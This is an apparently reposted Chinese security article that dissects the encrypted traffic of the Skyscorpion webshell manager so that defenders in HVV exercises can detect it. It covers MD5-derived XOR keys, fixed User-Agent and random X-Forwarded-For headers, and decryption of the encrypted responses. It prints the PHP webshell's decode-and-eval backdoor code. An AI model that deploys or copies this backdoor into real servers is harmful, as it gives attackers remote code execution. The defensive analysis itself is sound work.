文章总结： 本文揭秘天蝎webshell管理工具的通信流量加密机制，指出其使用密码md5前16位作为异或密钥，请求与响应均加密，传统WAF规则失效。防守方可利用UA固定性、随机XFF等弱特征，结合弱口令密钥字典对base64载荷进行异或还原检测，并建议将解密能力前置到IDS或全流量审计系统，以识别加密通信。
综合评分： 85
文章分类： 恶意软件,漏洞分析,安全运营,安全工具,渗透测试
第92篇 AI全栈 · 天蝎通信流量揭秘
原创
陈看山
陈看山
安全诸子
2026年10月2日 11:48
西藏
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
HVV 值守期间，流量分析设备上告警最多的 Webshell 通信往往不是菜刀或者蚁剑，而是加密流量特征极其隐蔽的天蝎。很多防守队员看到一串不可读的 base64 或者二进制包体，第一反应是误报，第二反应是放行，等到溯源阶段才发现当时放过的就是攻击队的持久化通道。这篇文章就围绕天蝎的通信流量揭秘展开，拆解它的加密逻辑、弱特征以及防守方可以落地的检测思路，希望能帮正在做 hvv 防守的同行少踩几个坑。
天蝎是什么，防守方为什么要专门看它 天蝎（Skyscorpion）是一款跨平台支持的 Webshell 管理工具，和蚁剑、冰蝎类似，但它的核心差异在于通信载荷的加密方式和会话管理机制
对于 hvv 防守方来说，天蝎的威胁等级并不低于冰蝎，原因有三点：第一，它的默认配置下请求体和响应体都做了加密处理，传统基于关键字匹配的 WAF 规则基本失效；第二，天蝎支持 PHP、JSP、ASP.NET、Java 等多种容器环境，在攻防演练中适配性很强；第三，它的客户端基于 JavaFX 开发，攻击队通常会在本地配置好代理再打目标，留给流量设备的观测窗口非常短。 需要明确的是，这里讨论的全部内容仅限于授权测试、企业自测或者 HVV 演练场景下的防御分析。防守方研究天蝎的通信流量揭秘，目标不是去复现攻击，而是搞清楚加密流量长什么样，从而在自家告警平台上建立对应的检测模型。
通信加密的核心机制
异或运算与 MD5 截断 要分析天蝎的流量，第一步是理解它的密钥生成方式。从源码反编译的结果来看，天蝎的 PHP 通信模块中，密钥并不是用户自定义的明文密码本身，而是密码明文取 32 位 MD5 后的前 16 位。举个例子，如果 shell 密码是 sky，那么实际用于加解密的 key 是 900bc885d7553375（即 sky 的 MD5 值前 16 位）。 这个设计带来的防守启示是：不要试图在流量里直接找到密码字段，因为传输过程中密码本身不会出现。攻击者真正发送的是经过异或运算的密文，而解密的钥匙只存在于服务端内存和攻击者客户端本地。 再看 PHP 端的核心解密逻辑，大致是这样一段代码： php $key = “900bc885d7553375”; $post = file_get_contents(“php://input”); $datas = explode(“\n”, $post); $code = $datas[0]; $t = “base64_” . “decode”; $code = $t($code . “”); for ($i = 0; $i < strlen($code); $i++) { $code[$i] = $code[$i] ^ $key[$i + 1 & 15]; } $arr = explode(‘|’, $code); $func = $arr[0]; if (isset($arr[1])) { $p = $arr[1]; class C { public function __construct($p) { eval($p . “”); } } @new C($p); } 这段代码展示了三个关键点： – 传输载体是 base64 编码后的字符串，但 base64 只是外壳，真正的混淆在于逐字节异或。 – 异或的 key 是循环使用的，长度为 16 字节，所以密文长度和明文长度基本一致，不会出现块填充的特征。 – 解密后的字符串用 | 分隔，第一部分是函数名，第二部分是参数，这种结构让攻击者可以灵活执行任意 PHP 代码。 防守方如果只是简单地对 base64 解码，看到的仍然是一堆乱码，因为异或运算已经改变了字节分布。这也是天蝎通信流量揭秘中比较容易被忽略的一点：很多流量检测设备只做了 base64 解码，没有继续做异或还原，导致漏报。
请求与响应的弱特征
UA 头与随机 XFF 虽然天蝎的载荷是加密的，但它的传输层仍然存在一些可供防守方提取的弱特征。用 Burp 抓包可以直观地看到以下请求头： POST /api.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 X-Forwarded-For: 122.17.235.140 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=g255pgpeqesdq9iblrr70hs95i 这里有两个值得注意的点。第一，UA 头虽然是 Chrome/Edge 的默认值，但它是固定不变的，不会像真实浏览器那样每次请求带上不同的版本号或者附加插件标识。如果同一个源 IP 在短时间内对同一路径发起大量请求，UA 完全一致，这就构成了一个可量化的弱特征。第二，X-Forwarded-For 头是随机生成的，攻击者故意制造出经过代理的假象，试图绕过基于 IP 频率的检测逻辑。 防守方在 hvv 防守天蝎通信流量揭秘的过程中，可以将这两个特征组合起来做初步筛选，但不要作为唯一判定依据，因为攻击者很容易修改客户端源码来随机化 UA。更好的做法是将 UA 固定性作为可疑度加分项，而不是直接告警。
响应包加密与连接验证逻辑 天蝎不仅加密请求，响应体同样加密
服务端在收到请求后，会先执行一段验证逻辑： php session_start(); $key = $_SESSION[‘k’]; echo encrypt(“Success”, $key); 也就是说，攻击者客户端会先发送一个探测请求，服务端返回加密后的 Success 字符串，客户端解密成功后才会继续发送真正的命令载荷。这个设计使得传统的“请求中带关键字”的检测方式彻底失效。 从防守角度看，这意味着即使你看到了一个包含 Success 明文的响应，也不要高兴太早，因为天蝎的响应是加密的。真正的明文 Success 只存在于服务端内存中，网络传输的始终是异或后的密文。如果流量设备能够对响应包做异或还原，就能看到这个特征字符串，从而确认这是一次天蝎通信。
项目结构与反编译分析思路 对于需要深入分析天蝎通信流量揭秘的防守人员，建议直接去看源码
项目可以从 GitHub 获取，只有一个 jar 包，使用 JD-GUI 或者 CFR 反编译后可以看到完整的包结构： | 包路径 | 对应职责 | |—|—| | org.shack2.app | 主入口点和启动逻辑 | | org.shack2.config | 解析 config.ini 配置 | | org.shack2.controller | 图形界面标签页的实现 | | org.shack2.evalcode | 四种语言的 POST 请求构造代码 | | org.shack2.model | 各个功能的变量定义 | | org.shack2.plugins | 插件加载与插件功能 | | org.shack2.server | 核心功能实现 | | org.shack2.utils | 常用工具函数 | 其中，PHP 连接相关的代码在 org.shack2.service.PHPService.java 中。反编译后可能会遇到变量名定义异常的情况，比如 int 变量名 = true 这种写法，这是反编译工具的常见问题，不影响理解逻辑。 关键的调用链是 conmmonParam 方法，它负责构造请求、发送数据并解密响应。在调试时可以从 Webshell 管理页面的“验证”按钮打断点，一步步跟踪到 getEncodeKey 方法，这个方法调用了 MyCrypt.getMD5_16(ws.getPass())，即对密码取 MD5 前 16 位作为加密密钥。
各语言加解密差异与检测适配 天蝎对不同语言的后端采用了不同的加密策略，这一点在防守时非常关键
从源码中可以明确看到： | 后端语言 | 加密方式 | 检测侧影响 | |—|—|—| | Java / .NET | AES 加密 | 密文长度固定，存在 IV 与 Padding 特征 | | PHP / ASP | 异或加密 | 密文长度与明文一致，无固定块特征 | 这意味着，防守方如果只针对 AES 加密的 Webshell 建立检测规则，那么面对 PHP 环境下的天蝎通信就会失效。反过来也一样。因此，在建立流量检测模型时，需要根据被保护资产的类型来选择对应的解密算法。 对于 PHP 环境，检测逻辑可以这样设计：提取 POST 请求体，去掉换行符后取第一行，base64 解码，再用常见的弱口令（如 sky、admin、123456）的 MD5 前 16 位作为 key 进行异或尝试，如果解密后的字符串中包含 eval、assert、system 等危险函数名，则判定为可疑通信。
实战检测建议与落地步骤 基于上面的分析，给正在做 hvv 防守的团队一些可以直接落地的建议
第一，不要只依赖 WAF 的关键字规则，要把流量解密能力前置到 IDS 或者全流量审计系统里。天蝎的通信流量揭秘本质上是加密流量检测问题，不解密就无法判断。 第二，建立针对弱口令的密钥字典。天蝎的密钥是密码 MD5 前 16 位，而很多攻击队在实战中会使用默认密码 sky，或者简单的口令如 admin、test。防守方可以预生成这些常见密码对应的密钥，对可疑的 base64 请求体做批量异或尝试，成本很低但效果明显。 第三，关注 UA 头与请求路径的组合。如果内网服务器上出现了一个陌生的 /api.php 路径，且 UA 固定为某个 Chrome 版本，同时请求频率呈现低频长连接的特征，就应该拉高告警级别。 第四，将响应包纳入检测范围。如果发现某个 HTTP 响应体的字节分布不符合正常文本或 JSON 结构，且长度与请求体接近，可以尝试用同样的密钥解密响应，如果还原出 Success 或者乱码中的可读片段，基本可以确认是天蝎通信。
基于当前可见信息的局限性与后续方向 需要坦诚地说，以上分析基于公开的反编译源码和实际抓包数据，但天蝎本身也在持续更新，不同版本的密钥生成方式、加密算法甚至协议结构都可能发生变化
例如，某些版本可能支持自定义密钥长度，或者引入 RSA 分发会话密钥的机制，这种情况下，固定 key 的异或尝试就会失效。 防守方应该把天蝎通信流量揭秘当作一个动态对抗的过…
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：安全诸子 陈看山
陈看山《第92篇 AI全栈 · 天蝎通信流量揭秘》